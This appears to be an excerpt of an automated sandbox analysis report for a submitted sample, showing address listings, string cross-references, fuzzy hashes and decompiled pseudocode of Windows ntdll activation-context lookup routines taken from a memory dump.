0x34c9a3e8
0x34c9a3e8
0x34c9a3ec
0x34c9a3f0
0x00000000
0x34c9a3f0
0x34c9a2b2
0x34c9a2b2
0x34c9a2d2
0x34c9a2d6
0x34c9a2d8
0x34c9a2da
0x34c9a2dc
0x34c9a2de
0x34ce783a
0x34ce783c
0x00000000
0x34ce7842
0x00000000
0x34ce7842
0x34c9a2e4
0x34c9a2e4
0x34c9a2e4
0x34c9a2eb
0x34ce78ed
0x34ce78ed
0x00000000
0x34c9a2f1
0x34c9a2f1
0x34c9a300
0x34c9a300
0x34c9a300
0x34c9a30a
0x00000000
0x00000000
0x34c9a310
0x34c9a325
0x34c9a32c
0x34c9a4f7
0x34c9a500
0x34c9a502
0x34c9a505
0x34c9a50b
0x34c9a5a5
0x34c9a5b8
0x34c9a5be
0x34c9a5c2
0x34c9a5cb
0x34c9a5d1
0x34c9a5d1
0x34c9a5cb
0x34c9a50b
0x34c9a523
0x34c9a549
0x34c9a551
0x34c9a525
0x34c9a53c
0x34c9a543
0x00000000
0x00000000
0x00000000
0x00000000
0x34c9a543
0x34c9a332
0x34c9a337
0x34c9a393
0x34c9a399
0x34c9a339
0x34c9a339
0x34c9a342
0x34c9a344
0x34c9a34a
0x34c9a34e
0x34c9a355
0x34c9a359
0x00000000
0x34c9a360
0x34c9a363
0x34c9a3fa
0x34c9a3fc
0x34ce7847
0x34ce784f
0x00000000
0x34ce7855
0x34ce7855
0x34ce7859
0x00000000
0x34ce785f
0x34ce785f
0x34ce7862
0x34ce7868
0x34ce7892
0x34ce7894
0x00000000
0x00000000
0x00000000
0x00000000
0x34ce786a
0x34ce786d
0x34ce787e
0x34ce788b
0x00000000
0x34ce7880
0x34ce7880
0x34ce7885
0x34ce789a
0x34ce789a
0x34ce789f
0x00000000
0x34ce789f
0x34ce786f
0x34ce7873
0x34ce788e
0x34ce788e
0x00000000
0x34ce788e
0x34ce786d
0x34ce7868
0x34ce7859
0x34c9a402
0x34c9a402
0x34c9a405
0x34c9a554
0x34c9a556
0x34c9a55e
0x34c9a564
0x34c9a56a
0x00000000
0x34c9a570
0x34c9a570
0x34c9a575
0x00000000
0x34c9a575
0x34c9a40b
0x34c9a40e
0x00000000
0x34c9a414
0x34c9a414
0x34c9a418
0x34c9a420
0x34c9a426
0x34c9a42c
0x00000000
0x34c9a432
0x34c9a432
0x34c9a437
0x00000000
0x34c9a437
0x34c9a42c
0x34c9a40e
0x34c9a405
0x34c9a369
0x34c9a369
0x34c9a36c
0x34ce78e3
0x00000000
0x34c9a372
0x34c9a372
0x34c9a374
0x34c9a452
0x34c9a459
0x34c9a57e
0x34c9a585
0x00000000
0x34c9a594
0x34c9a594
0x34c9a598
0x00000000
0x34c9a598
0x34c9a45f
0x34c9a45f
0x34c9a47f
0x34c9a483
0x34c9a485
0x34c9a487
0x34c9a489
0x34c9a48b
0x00000000
0x34c9a491
0x34c9a493
0x34ce78a8
0x34ce78b1
0x34ce78c3
0x34ce78c3
0x34ce78cb
0x00000000
0x00000000
0x34ce78d6
0x34ce78dc
0x00000000
0x34ce78de
0x00000000
0x34ce78de
0x00000000
0x34ce78dc
0x34ce78c3
0x34ce78b1
0x34c9a499
0x34c9a499
0x00000000
0x34c9a499
0x34c9a48b
0x34c9a37a
0x34c9a37a
0x34c9a37f
0x34c9a381
0x34c9a49b
0x34c9a49b
0x34c9a4a2
0x00000000
0x34c9a4a8
0x00000000
0x34c9a4a8
0x34c9a387
0x34c9a387
0x34c9a38c
0x34c9a38e
0x34c9a38e
0x00000000
0x34c9a38c
0x34c9a381
0x34c9a374
0x34c9a36c
0x00000000
0x34c9a363
0x34c9a360
0x34c9a337
0x00000000
0x34c9a32c
0x34ce78f1
0x34ce78f1
0x34ce78fc
0x34ce7904
0x00000000
0x34ce7904
0x34c9a2eb
0x34c9a2de
0x34c9a2ac
0x34c9a28e
0x34c9a4cc
0x00000000
0x00000000
0x00000000
0x34c9a269
0x00000000
0x34c9a39c
0x34c9a39c
0x34c9a39f
0x00000000
0x34c9a3a5
0x34c9a3a8
0x00000000
0x00000000
0x00000000
0x00000000
0x34c9a3a8
0x00000000
0x34c9a39f
0x34c9a250
0x34c9a1e8
0x34c9a1f1
0x34ce77d8
0x34ce77dd
0x34ce77e2
0x34ce77e7
0x34ce77e7
0x34ce77e9
0x34ce77eb
0x00000000
0x34c9a1f7
0x34c9a1f7
0x00000000
0x34c9a1f7
0x34c9a1f1
0x34c9a1e6
0x34c9a1dd
0x34c9a1d4
0x34c9a1cc
0x34c9a1c0
0x34c9a1b1
0x00000000

Strings

SXS: %s() flags contains return_flags but they don't fit in size, return invalid_parameter 0x%08lx., xrefs: 34CE77E2
SsHd, xrefs: 34C9A304
SXS: %s() flags contains return_assembly_metadata but they don't fit in size, return invalid_parameter 0x%08lx., xrefs: 34CE7807
RtlpFindActivationContextSection_CheckParameters, xrefs: 34CE77DD, 34CE7802
RtlFindActivationContextSectionString() found section at %p (length %lu) which is not a string section, xrefs: 34CE78F3
Actx , xrefs: 34CE7819, 34CE7880

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID: Actx $RtlFindActivationContextSectionString() found section at %p (length %lu) which is not a string section$RtlpFindActivationContextSection_CheckParameters$SXS: %s() flags contains return_assembly_metadata but they don't fit in size, return invalid_parameter 0x%08lx.$SXS: %s() flags contains return_flags but they don't fit in size, return invalid_parameter 0x%08lx.$SsHd
API String ID: 0-1988757188
Opcode ID: 317d4acfa9ea287e0ea89e17d93bd6cb22ecd49df5d0e42969419dc0e7fa5e5c
Instruction ID: a5e5b1523f1f9ae73b4a6957a79e9796fec27bf140d1e25c9c17869724a936fd
Opcode Fuzzy Hash: 317d4acfa9ea287e0ea89e17d93bd6cb22ecd49df5d0e42969419dc0e7fa5e5c
Instruction Fuzzy Hash: 58E1E074704781AFE715CE29C8807AA77E7FF84364F544A2DE865DB290DB32D885CB82

Uniqueness

Uniqueness Score: -1.00%

Function 34C9D690 Relevance: 12.6, APIs: 1, Strings: 6, Instructions: 372
timeCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E34C9D690(signed int _a4, signed int _a8, intOrPtr _a12, signed int _a16, intOrPtr* _a20) {
				signed int _v8;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				char _v36;
				signed int _v40;
				char _v44;
				intOrPtr _v48;
				signed int _v52;
				char _v56;
				char _v60;
				signed int _v64;
				intOrPtr _v68;
				signed int _v72;
				char _v76;
				signed int _v80;
				signed int* _v84;
				char _v88;
				signed int _v92;
				char _v93;
				signed int _v104;
				char _v117;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t150;
				char _t158;
				intOrPtr _t160;
				intOrPtr _t163;
				intOrPtr* _t164;
				intOrPtr _t170;
				signed int _t171;
				void* _t172;
				signed int _t195;
				intOrPtr* _t201;
				signed int _t205;
				intOrPtr* _t209;
				void* _t210;
				intOrPtr _t211;
				intOrPtr _t213;
				signed int _t214;
				intOrPtr* _t215;
				intOrPtr _t217;
				intOrPtr _t225;
				intOrPtr _t227;
				intOrPtr _t228;
				void* _t233;
				intOrPtr* _t234;
				signed int _t242;
				void* _t246;
				signed int _t247;
				signed int _t252;
				void* _t253;
				intOrPtr* _t254;
				intOrPtr _t255;
				signed int _t256;
				signed int _t258;

				_t258 = (_t256 & 0xfffffff8) - 0x5c;
				_v8 =  *0x34d7b370 ^ _t258;
				_t217 =  *[fs:0x18];
				_t241 = _a16;
				_t209 = _a20;
				_t150 =  *((intOrPtr*)(_t217 + 0x30));
				_t252 = _a8;
				_v84 = _t241;
				_v80 = _t209;
				if( *((intOrPtr*)(_t150 + 0x1f8)) == 0) {
					if( *((intOrPtr*)(_t150 + 0x200)) != 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t217 + 0x1a8)))) != 0) {
						goto L1;
					} else {
						_t151 = 0xc0150001;
						L24:
						_pop(_t246);
						_pop(_t253);
						_pop(_t210);
						return L34CC4B50(_t151, _t210, _v8 ^ _t258, _t241, _t246, _t253);
					}
				}
				L1:
				_v88 = 0;
				if(_t241 == 0) {
					L49:
					_t151 = 0xc000000d;
					goto L24;
				}
				_t241 = _a4;
				if((_t241 & 0xfffffff8) != 0) {
					goto L49;
				}
				if((_t241 & 0x00000007) == 0) {
					if(_t209 != 0) {
						L5:
						if( *_t209 < 0x24) {
							goto L49;
						}
						L6:
						if((_t241 & 0x00000002) != 0) {
							if(_t209 + 0x2c <=  *_t209 + _t209) {
								goto L7;
							}
							_push(0xc000000d);
							_push("RtlpFindActivationContextSection_CheckParameters");
							_push("SXS: %s() flags contains return_flags but they don\'t fit in size, return invalid_parameter 0x%08lx.\n");
							L48:
							_push(0);
							_push(0x33);
							E34D0EF10();
							_t258 = _t258 + 0x14;
							goto L49;
						}
						L7:
						if((_t241 & 0x00000004) != 0) {
							if(_t209 + 0x40 <=  *_t209 + _t209) {
								goto L8;
							}
							_push(0xc000000d);
							_push("RtlpFindActivationContextSection_CheckParameters");
							_push("SXS: %s() flags contains return_assembly_metadata but they don\'t fit in size, return invalid_parameter 0x%08lx.\n");
							goto L48;
						}
						L8:
						_t241 =  &_v76;
						_v48 = _a12;
						_v60 = 0x18;
						_v56 = 0;
						_v52 = _t252;
						_v40 = 0;
						_v64 = 0;
						_v44 = 0;
						if(E34C9D580( &_v60,  &_v76,  &_v88,  &_v64) < 0) {
							goto L24;
						}
						_t151 = 0;
						if(0 < 0) {
							goto L24;
						}
						_t158 = _v88;
						if(_t158 < 0x28) {
							L34:
							_t254 = _v76;
							L91:
							_push(_t158);
							E34D0EF10(0x33, 0, "RtlFindActivationContextSectionGuid() found section at %p (length %lu) which is not a GUID section\n", _t254);
							_t258 = _t258 + 0x14;
							_t151 = 0xc0150003;
							goto L24;
						}
						_t247 = _v64;
						while(1) {
							L12:
							_t254 = _v76;
							if( *_t254 != 0x64487347) {
								goto L91;
							}
							_t211 =  *((intOrPtr*)(_t254 + 0x14));
							_t160 = 1;
							if(_t211 == 0) {
								L19:
								_t225 =  *[fs:0x18];
								_t255 = _v44;
								_v92 = 0;
								_t247 = 0;
								_v68 = _t225;
								_t241 =  *(_t225 + 0x30);
								_v72 = _t241;
								L20:
								while(1) {
									if(_t255 <= 2) {
										_t163 = _t255;
										if(_t163 == 0) {
											_t164 =  *((intOrPtr*)(_t225 + 0x1a8));
											if(_t164 == 0) {
												L43:
												_t213 =  *((intOrPtr*)(_t241 + 0x1f8));
												_v92 = 0;
												if(_t213 == 0) {
													L28:
													_t213 =  *((intOrPtr*)(_t241 + 0x200));
													_v92 = 0xfffffffc;
													if(_t213 == 0) {
														goto L21;
													}
													_t255 = 3;
													_v44 = 3;
													L22:
													if(_t213 != 0) {
														_t241 = _v52;
														_t151 = E34C9A600(_t213, _v52, _v48,  &_v76,  &_v88);
														if(_t151 < 0) {
															if(_t151 != 0xc0150001 || _t255 == 3) {
																L32:
																if(_t151 < 0) {
																	if(_t151 != 0xc0150001) {
																		goto L24;
																	}
																	goto L23;
																}
																_t158 = _v88;
																if(_t158 >= 0x28) {
																	goto L12;
																}
																goto L34;
															} else {
																_t225 = _v68;
																_t241 = _v72;
																continue;
															}
														}
														_t241 = _v92;
														_v40 = (0 | _t241 != 0xfffffffc) - 0x00000001 & 0x00000002 | 0 | _t241 == 0x00000000;
														asm("sbb edi, edi");
														_t247 =  ~(_t241 - 0xfffffffc) & _t241;
														_t151 = 0;
														goto L32;
													}
													L23:
													_t151 = 0xc0150008;
													goto L24;
												}
												_t255 = 2;
												_v44 = 2;
												goto L22;
											}
											_t170 =  *_t164;
											if(_t170 == 0) {
												goto L43;
											}
											_t171 =  *((intOrPtr*)(_t170 + 4));
											_v92 = _t171;
											if(_t171 == 0) {
												L83:
												if(_t213 == 0) {
													goto L43;
												}
												L84:
												_t255 = 1;
												_v44 = 1;
												goto L22;
											}
											if(_t171 != 0xfffffffc) {
												if(_t171 != 0xfffffffd) {
													_t213 =  *((intOrPtr*)(_t171 + 0x10));
													goto L83;
												}
												_t213 = "Actx ";
												goto L84;
											}
											_t213 =  *((intOrPtr*)(_t241 + 0x200));
											goto L83;
										}
										_t172 = _t163 - 1;
										if(_t172 == 0) {
											goto L43;
										}
										if(_t172 != 1) {
											goto L21;
										}
										goto L28;
									}
									L21:
									if(_t255 > 3) {
										_t151 = 0xc00000e5;
										goto L24;
									}
									goto L22;
								}
							}
							if( *((intOrPtr*)(_t254 + 8)) != 1) {
								_t160 = 0;
							}
							_t227 =  *((intOrPtr*)(_t254 + 0x1c));
							if(_t227 != 0) {
								if(_t160 == 0) {
									goto L16;
								}
								_v92 = 0;
								_t233 =  *((intOrPtr*)(_t227 + _t254 + 4)) +  *_v84 %  *(_t227 + _t254) * 8;
								_t234 = _t233 + _t254;
								_t201 =  *((intOrPtr*)(_t233 + _t254 + 4)) + _t254;
								_v72 = _t234;
								if( *_t234 <= 0) {
									goto L19;
								} else {
									goto L54;
								}
								while(1) {
									L54:
									_t214 =  *_t201 + _t254;
									_v68 = _t201 + 4;
									if(E34CD8050(_t214, _v84, ?str?) == 0x10) {
										goto L18;
									}
									_t205 = _v92 + 1;
									_v92 = _t205;
									_t201 = _v68;
									if(_t205 <  *_v72) {
										continue;
									}
									goto L19;
								}
							} else {
								L16:
								_t228 =  *((intOrPtr*)(_t254 + 0x18));
								if(( *(_t254 + 0x10) & 0x00000001) == 0) {
									_t174 = _t228 + _t254;
									_v92 = _t228 + _t254;
									while(E34CD8050(_t174, _v84, ?str?) != 0x10) {
										_t174 = _v92 + 0x1c;
										_v92 = _v92 + 0x1c;
										_t211 = _t211 - 1;
										if(_t211 != 0) {
											continue;
										}
										goto L19;
									}
									_t214 = _v92;
									L18:
									if(_t214 != 0) {
										if( *((intOrPtr*)(_t214 + 0x10)) == 0) {
											goto L19;
										}
										_t241 = _v80;
										if(_t241 != 0) {
											 *((intOrPtr*)(_t241 + 4)) =  *((intOrPtr*)(_t254 + 0xc));
											 *((intOrPtr*)(_t241 + 8)) =  *((intOrPtr*)(_t214 + 0x10)) + _t254;
											 *((intOrPtr*)(_t241 + 0xc)) =  *((intOrPtr*)(_t214 + 0x14));
											if(_t241 + 0x28 <=  *_t241 + _t241) {
												 *((intOrPtr*)(_t241 + 0x24)) =  *((intOrPtr*)(_t214 + 0x18));
											}
										}
										if((_t247 - 0x00000001 | 0x00000007) != 0xffffffff) {
											_t215 =  *((intOrPtr*)(_t247 + 0x14));
											if(_t215 != 0 && (( *(_t247 + 0x1c) & 0x00000008) == 0 || ( *(_t247 + 0x3c) & 0x00000008) == 0)) {
												_v93 = 0;
												 *0x34d791e0(3, _t247,  *((intOrPtr*)(_t247 + 0x10)),  *((intOrPtr*)(_t247 + 0x18)), 0,  &_v93);
												 *_t215();
												 *(_t247 + 0x1c) =  *(_t247 + 0x1c) | 0x00000008;
												_t241 = _v104;
												if(_v117 != 0) {
													 *(_t247 + 0x3c) =  *(_t247 + 0x3c) | 0x00000008;
												}
											}
										}
										if(_t241 == 0 || E34C84428(_a4, _t241, _t247,  &_v60, _t254,  *((intOrPtr*)(_t254 + 0x20)),  *((intOrPtr*)(_t254 + 0x24)), _v88) >= 0) {
											_t151 = 0;
										}
										goto L24;
									}
									goto L19;
								}
								_t242 = _v84;
								_v36 =  *_t242;
								_v32 =  *((intOrPtr*)(_t242 + 4));
								_v28 =  *((intOrPtr*)(_t242 + 8));
								_v24 =  *((intOrPtr*)(_t242 + 0xc));
								_t195 = E34CC8170( &_v36, _t228 + _t254, _t211, "true", E34C7B600);
								_t258 = _t258 + 0x14;
								_t214 = _t195;
							}
							goto L18;
						}
						goto L91;
					}
					goto L6;
				}
				if(_t209 == 0) {
					goto L49;
				}
				goto L5;
			}

0x34c9d698
0x34c9d6a2
0x34c9d6a6
0x34c9d6ad
0x34c9d6b1
0x34c9d6b4
0x34c9d6b8
0x34c9d6c3
0x34c9d6c7
0x34c9d6cb
0x34c9d90e
0x00000000
0x34ce913f
0x34ce913f
0x34c9d847
0x34c9d84b
0x34c9d84c
0x34c9d84d
0x34c9d858
0x34c9d858
0x34c9d90e
0x34c9d6d1
0x34c9d6d1
0x34c9d6db
0x34ce9164
0x34ce9164
0x00000000
0x34ce9164
0x34c9d6e1
0x34c9d6ea
0x00000000
0x00000000
0x34c9d6f3
0x34c9d8fc
0x34c9d701
0x34c9d704
0x00000000
0x00000000
0x34c9d70a
0x34c9d70d
0x34c9d922
0x00000000
0x00000000
0x34ce9149
0x34ce914e
0x34ce9153
0x34ce9158
0x34ce9158
0x34ce915a
0x34ce915c
0x34ce9161
0x00000000
0x34ce9161
0x34c9d713
0x34c9d716
0x34c9d936
0x00000000
0x00000000
0x34ce916e
0x34ce9173
0x34ce9178
0x00000000
0x34ce9178
0x34c9d71c
0x34c9d71f
0x34c9d723
0x34c9d72f
0x34c9d73c
0x34c9d745
0x34c9d749
0x34c9d751
0x34c9d759
0x34c9d768
0x00000000
0x00000000
0x34c9d76e
0x34c9d772
0x00000000
0x00000000
0x34c9d778
0x34c9d77f
0x34c9d8f1
0x34c9d8f1
0x34ce9370
0x34ce9370
0x34ce937b
0x34ce9380
0x34ce9383
0x00000000
0x34ce9383
0x34c9d785
0x34c9d790
0x34c9d790
0x34c9d790
0x34c9d79a
0x00000000
0x00000000
0x34c9d7a0
0x34c9d7a3
0x34c9d7a7
0x34c9d80d
0x34c9d80d
0x34c9d816
0x34c9d81c
0x34c9d820
0x34c9d822
0x34c9d826
0x34c9d829
0x00000000
0x34c9d830
0x34c9d833
0x34c9d85d
0x34c9d860
0x34ce92e0
0x34ce92e8
0x34c9d941
0x34c9d941
0x34c9d949
0x34c9d94f
0x34c9d874
0x34c9d874
0x34c9d87a
0x34c9d884
0x00000000
0x00000000
0x34c9d886
0x34c9d88b
0x34c9d83e
0x34c9d840
0x34c9d891
0x34c9d8a5
0x34c9d8ac
0x34ce933a
0x34c9d8dc
0x34c9d8de
0x34ce935b
0x00000000
0x00000000
0x00000000
0x34ce9361
0x34c9d8e4
0x34c9d8eb
0x00000000
0x00000000
0x00000000
0x34ce9349
0x34ce9349
0x34ce934d
0x00000000
0x34ce934d
0x34ce933a
0x34c9d8b2
0x34c9d8d2
0x34c9d8d6
0x34c9d8d8
0x34c9d8da
0x00000000
0x34c9d8da
0x34c9d842
0x34c9d842
0x00000000
0x34c9d842
0x34c9d955
0x34c9d95a
0x00000000
0x34c9d95a
0x34ce92ee
0x34ce92f2
0x00000000
0x00000000
0x34ce92f8
0x34ce92fb
0x34ce9301
0x34ce931f
0x34ce9321
0x00000000
0x00000000
0x34ce9327
0x34ce9327
0x34ce932c
0x00000000
0x34ce932c
0x34ce9306
0x34ce9313
0x34ce931c
0x00000000
0x34ce931c
0x34ce9315
0x00000000
0x34ce9315
0x34ce9308
0x00000000
0x34ce9308
0x34c9d866
0x34c9d869
0x00000000
0x00000000
0x34c9d872
0x00000000
0x00000000
0x00000000
0x34c9d872
0x34c9d835
0x34c9d838
0x34ce9366
0x00000000
0x34ce9366
0x00000000
0x34c9d838
0x34c9d830
0x34c9d7ad
0x34ce917f
0x34ce917f
0x34c9d7b3
0x34c9d7b8
0x34ce9188
0x00000000
0x00000000
0x34ce9194
0x34ce91a5
0x34ce91ac
0x34ce91ae
0x34ce91b0
0x34ce91b7
0x00000000
0x00000000
0x00000000
0x00000000
0x34ce91bd
0x34ce91bd
0x34ce91c8
0x34ce91ca
0x34ce91d7
0x00000000
0x00000000
0x34ce91e5
0x34ce91e6
0x34ce91ec
0x34ce91f0
0x00000000
0x00000000
0x00000000
0x34ce91f2
0x34c9d7be
0x34c9d7be
0x34c9d7c2
0x34c9d7c5
0x34ce91f7
0x34ce91fa
0x34ce91fe
0x34ce9213
0x34ce9216
0x34ce921a
0x34ce921d
0x00000000
0x00000000
0x00000000
0x34ce921f
0x34ce9224
0x34c9d805
0x34c9d807
0x34ce9231
0x00000000
0x00000000
0x34ce9237
0x34ce923d
0x34ce9244
0x34ce924e
0x34ce9254
0x34ce925c
0x34ce9261
0x34ce9261
0x34ce925c
0x34ce926d
0x34ce926f
0x34ce9274
0x34ce9286
0x34ce9299
0x34ce929f
0x34ce92a1
0x34ce92aa
0x34ce92ae
0x34ce92b0
0x34ce92b0
0x34ce92ae
0x34ce9274
0x34ce92b6
0x34ce92d9
0x34ce92d9
0x00000000
0x34ce92b6
0x00000000
0x34c9d807
0x34c9d7cb
0x34c9d7d9
0x34c9d7e0
0x34c9d7e7
0x34c9d7ee
0x34c9d7fb
0x34c9d800
0x34c9d803
0x34c9d803
0x00000000
0x34c9d7b8
0x00000000
0x34c9d790
0x00000000
0x34c9d902
0x34c9d6fb
0x00000000
0x00000000
0x00000000

APIs

RtlDebugPrintTimes.NTDLL ref: 34CE9299

Strings

SXS: %s() flags contains return_flags but they don't fit in size, return invalid_parameter 0x%08lx., xrefs: 34CE9153
GsHd, xrefs: 34C9D794
RtlFindActivationContextSectionGuid() found section at %p (length %lu) which is not a GUID section, xrefs: 34CE9372
SXS: %s() flags contains return_assembly_metadata but they don't fit in size, return invalid_parameter 0x%08lx., xrefs: 34CE9178
RtlpFindActivationContextSection_CheckParameters, xrefs: 34CE914E, 34CE9173
Actx , xrefs: 34CE9315

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID: DebugPrintTimes
String ID: Actx $GsHd$RtlFindActivationContextSectionGuid() found section at %p (length %lu) which is not a GUID section$RtlpFindActivationContextSection_CheckParameters$SXS: %s() flags contains return_assembly_metadata but they don't fit in size, return invalid_parameter 0x%08lx.$SXS: %s() flags contains return_flags but they don't fit in size, return invalid_parameter 0x%08lx.
API String ID: 3446177414-2196497285
Opcode ID: 1ff3ffe15051452a80d8c017b34eb7dc89ecd8254a82aa8b0a80100ad0ec898b
Instruction ID: f06759738a8b4f1030f36fc01c5f98bd5f12afa128b3ccfe20dd659f153839d9
Opcode Fuzzy Hash: 1ff3ffe15051452a80d8c017b34eb7dc89ecd8254a82aa8b0a80100ad0ec898b
Instruction Fuzzy Hash: 46E1A0B8604341DFE710CF15C890B9AB7E6BF88358F444A6DE895DB292D771E884CF92

Uniqueness

Uniqueness Score: -1.00%

Function 34C89046 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 199
timeCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E34C89046(void* __ebx, intOrPtr __ecx, signed int __edx, void* __edi, void* __esi, void* __eflags) {
				short _t95;
				intOrPtr _t110;
				short _t118;
				signed int _t131;
				intOrPtr _t136;
				intOrPtr _t140;
				intOrPtr _t146;
				intOrPtr* _t148;
				intOrPtr _t151;
				intOrPtr _t152;
				intOrPtr* _t154;
				void* _t156;

				_t141 = __edx;
				_push("true");
				_push(0x34d5be98);
				E34CD7C40(__ebx, __edi, __esi);
				 *(_t156 - 0xf0) = __edx;
				_t151 = __ecx;
				 *((intOrPtr*)(_t156 - 0xfc)) = __ecx;
				 *((intOrPtr*)(_t156 - 0xf8)) =  *((intOrPtr*)(_t156 + 8));
				 *((intOrPtr*)(_t156 - 0xe8)) =  *((intOrPtr*)(_t156 + 0xc));
				 *((intOrPtr*)(_t156 - 0xf4)) =  *((intOrPtr*)(_t156 + 0x10));
				 *((intOrPtr*)(_t156 - 0xe4)) = 0;
				 *((short*)(_t156 - 0xda)) = 0;
				 *(_t156 - 0xe0) = 0;
				 *((intOrPtr*)(_t156 - 0x140)) = 0x40;
				E34CC8F40(_t156 - 0x13c, 0, "true");
				 *((intOrPtr*)(_t156 - 0x164)) = 0x24;
				 *((intOrPtr*)(_t156 - 0x160)) = 1;
				_t131 = 7;
				memset(_t156 - 0x15c, 0, _t131 << 2);
				_t146 =  *((intOrPtr*)(_t156 - 0xe8));
				_t152 = E34C99870(1, _t151, 0,  *((intOrPtr*)(_t156 - 0xf8)), _t146,  *((intOrPtr*)(_t156 - 0xf4)), _t156 - 0xe0, 0, 0);
				if(_t152 >= 0) {
					if( *0x34d765e0 == 0 || ( *(_t156 - 0xe0) & 0x00000001) != 0) {
						goto L1;
					} else {
						_t152 = E34C9A170(7, 0, 2,  *((intOrPtr*)(_t156 - 0xfc)), _t156 - 0x140);
						if(_t152 < 0) {
							goto L1;
						}
						if( *((intOrPtr*)(_t156 - 0x13c)) != 1) {
							L11:
							_t152 = 0xc0150005;
							goto L1;
						}
						if(( *(_t156 - 0x118) & 0x00000001) == 0) {
							if(( *(_t156 - 0x118) & 0x00000002) != 0) {
								 *(_t156 - 0x120) = 0xfffffffc;
							}
						} else {
							 *(_t156 - 0x120) =  *(_t156 - 0x120) & 0x00000000;
						}
						_t136 =  *((intOrPtr*)(_t156 - 0x114));
						_t95 =  *((intOrPtr*)(_t136 + 0x5c));
						 *((short*)(_t156 - 0xda)) = _t95;
						 *((short*)(_t156 - 0xdc)) = _t95;
						 *((intOrPtr*)(_t156 - 0xd8)) =  *((intOrPtr*)(_t136 + 0x60)) +  *((intOrPtr*)(_t156 - 0x110));
						 *((intOrPtr*)(_t156 - 0xe8)) = _t156 - 0xd0;
						 *((short*)(_t156 - 0xea)) = 0xaa;
						_t152 = E34CA5A40(_t141,  *(_t156 - 0xf0) & 0x0000ffff, _t156 - 0xec, 2, 0);
						if(_t152 < 0 || E34CA04C0(_t156 - 0xdc, _t156 - 0xec, 1) == 0) {
							goto L1;
						} else {
							_t154 =  *0x34d765e0; // 0x7679a680
							 *0x34d791e0( *(_t156 - 0x120),  *(_t156 - 0xf0), _t156 - 0xe4);
							_t152 =  *_t154();
							 *((intOrPtr*)(_t156 - 0xd4)) = _t152;
							if(_t152 < 0) {
								goto L1;
							} else {
								_t110 =  *((intOrPtr*)(_t156 - 0xe4));
								if(_t110 == 0xffffffff) {
									L26:
									 *((intOrPtr*)(_t156 - 4)) = 1;
									_t148 =  *0x34d765e8; // 0x77547740
									if(_t148 != 0) {
										 *0x34d791e0(_t110);
										 *_t148();
									}
									 *((intOrPtr*)(_t156 - 4)) = 0xfffffffe;
									goto L1;
								}
								E34C9DC40(_t156 - 0x164, _t110);
								 *((intOrPtr*)(_t156 - 4)) = 0;
								if( *((intOrPtr*)(_t146 + 4)) != 0) {
									L34C93B90(_t146);
								}
								_t149 =  *((intOrPtr*)(_t156 - 0xfc));
								_t152 = E34C99870(0,  *((intOrPtr*)(_t156 - 0xfc)), 0,  *((intOrPtr*)(_t156 - 0xf8)), _t146,  *((intOrPtr*)(_t156 - 0xf4)), _t156 - 0xe0, 0, 0);
								 *((intOrPtr*)(_t156 - 0xd4)) = _t152;
								if(_t152 < 0) {
									L25:
									 *((intOrPtr*)(_t156 - 4)) = 0xfffffffe;
									_t110 = E34CE247B();
									goto L26;
								} else {
									_t152 = E34C9A170(7, 0, 2, _t149, _t156 - 0x140);
									 *((intOrPtr*)(_t156 - 0xd4)) = _t152;
									if(_t152 < 0) {
										goto L25;
									}
									if( *((intOrPtr*)(_t156 - 0x13c)) == 1) {
										_t140 =  *((intOrPtr*)(_t156 - 0x114));
										_t118 =  *((intOrPtr*)(_t140 + 0x5c));
										 *((short*)(_t156 - 0xda)) = _t118;
										 *((short*)(_t156 - 0xdc)) = _t118;
										 *((intOrPtr*)(_t156 - 0xd8)) =  *((intOrPtr*)(_t140 + 0x60)) +  *((intOrPtr*)(_t156 - 0x110));
										if(E34CA04C0(_t156 - 0xdc, _t156 - 0xec, 1) == 0) {
											goto L25;
										}
										_t152 = 0xc0150004;
										L24:
										 *((intOrPtr*)(_t156 - 0xd4)) = _t152;
										goto L25;
									}
									_t152 = 0xc0150005;
									goto L24;
								}
							}
							goto L11;
						}
					}
				}
				L1:
				 *[fs:0x0] =  *((intOrPtr*)(_t156 - 0x10));
				return _t152;
			}

0x34c89046
0x34c89046
0x34c8904b
0x34c89050
0x34c89055
0x34c8905b
0x34c8905d
0x34c89066
0x34c8906f
0x34c89078
0x34c89080
0x34c89088
0x34c8908f
0x34c89095
0x34c890a9
0x34c890b1
0x34c890be
0x34c890c6
0x34c890cf
0x34c890e2
0x34c890f7
0x34c890fb
0x34c89118
0x00000000
0x34c89123
0x34c8913b
0x34c8913f
0x00000000
0x00000000
0x34c89147
0x34ce231f
0x34ce231f
0x00000000
0x34ce231f
0x34c89154
0x34ce2330
0x34ce2336
0x34ce2336
0x34c8915a
0x34c8915a
0x34c8915a
0x34c89161
0x34c89167
0x34c8916b
0x34c89172
0x34c89182
0x34c8918e
0x34c89199
0x34c891ba
0x34c891be
0x00000000
0x34c891e0
0x34ce2358
0x34ce2360
0x34ce2368
0x34ce236a
0x34ce2372
0x00000000
0x34ce2378
0x34ce2378
0x34ce2381
0x34ce2458
0x34ce2458
0x34ce245b
0x34ce2463
0x34ce2468
0x34ce246e
0x34ce246e
0x34ce24a7
0x00000000
0x34ce24a7
0x34ce238f
0x34ce2396
0x34ce239c
0x34ce239f
0x34ce239f
0x34ce23bb
0x34ce23c8
0x34ce23ca
0x34ce23d2
0x34ce244c
0x34ce244c
0x34ce2453
0x00000000
0x34ce23d4
0x34ce23e7
